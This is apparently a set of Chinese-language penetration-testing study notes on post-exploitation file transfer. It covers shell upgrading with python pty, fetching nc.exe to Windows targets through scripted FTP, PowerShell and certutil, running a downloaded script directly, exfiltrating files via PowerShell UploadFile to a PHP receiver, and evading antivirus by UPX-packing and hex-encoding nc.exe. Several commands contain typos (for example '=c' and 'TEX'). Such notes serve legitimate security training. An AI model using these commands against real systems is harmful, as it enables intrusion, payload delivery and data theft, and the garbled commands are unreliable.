传输文件一般发生在后渗透测试阶段,即已经突破边界并在目标主机上获取初始低权限账户
一般的任务有:
1. 权限提升
2. 权限维持
3. 横向渗透
FTP
以 pure-ftpd 为例,安装并设置用户权限
apt install pure-ftpd groupadd ftpgroup useradd -g ftpgroup -d /dev/null-s /etc ftpuser pure-pw useradd offsec -u ftpuser -d /ftphome #这里的offsec是ftp账号,映射到系统账号ftpuser,并设置密码 pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ systemctl restart pure-ftpd
非交互 SHELL 升级
利用 python 的 pty 模块可以获取伪终端
python =c 'import pty; pty.spawn("/bin/bash")'
针对 bash 还有其他方法获取完整功能终端
bash #先让自己处于bash环境 python =c 'import pty; pty.spawn("/bin/bash")' #先创建伪终端 ^Z #Ctrl+Z置入后台 stty raw -echo #命令将终端设置为原始模式 fg #按ctrl+z时,进程将挂起并停止。使用 fg,您可以将挂起的作业移动到前台,使用 bg,您可以在后台运行它。 export SHELL=/bin/bash export TERM=screen #这是Shell环境变量 stty rows 40 columns 128 #修改shell大小 reset #重置终端的状态
Windows 文件传输
Linux 有 curl、netcat、wget 等文件,但是 Windows 上只默认包含 FTP 且无法获得交互终端
可以取巧使用文件传输指令
echo open <HOST> 21>ftp.txt echo USER offsec>>ftp.txt echo lab>>ftp.txt echo bin >ftp.txt echo GET nc.exe >ftp.txt echo bye >ftp.txt ftp -v-n -s:ftp.txt
也可以使用 vbs/powershell 脚本下载文件的
powershell.exe (New-Object System.Net.WebClient).DownloadFile('<URL>','<FILE>') #下载文件并保存 powershell.exe TEX (New-Object System.Net.WebClient).DownloadString('<URL>') #直接运行脚本
其他方法
certutil.exe -urlcache -split -f "<URL>" <FILE> #Windows自带工具,需要在管理员权限的命令提示符或 PowerShell 终端中执行 rdesktop -u <USER> a.b.c.d -p <PASSWORD> -g 1200x900 -x 0x80 -r sound:local -r disk:LinuxPictures=<DIR> #远程桌面连接同时挂载共享文件夹、建议别折腾,直接用Windows
上传文件也是可以的
powershell.exe (New-Object System.Net.WebClient).UploadFile('<URL>','<FILE>')
对应的 PHP 后端
<?php $uploaddir='/var/www/uploads/'; $uploadfile $uploaddir.$_FILES['file']['name']; move_uploaded_file($_FILES['file']['tmp_name'],$uploadfile); ?>
文件混淆 / 绕过
压缩打包二进制文件
upx -9 nc.exe #使用 UPX 压缩工具对 nc.exe 文件进行压缩,压缩级别为最高压缩比 exe2hex -x nc.exe -p nc.cmd #将 nc.exe 文件转换为十六进制格式,并将结果输出到 nc.cmd 文件中 powershell nc.cmd #在 PowerShell 终端中执行 nc.cmd 文件,这将导致 nc.exe 文件被解码并在系统中执行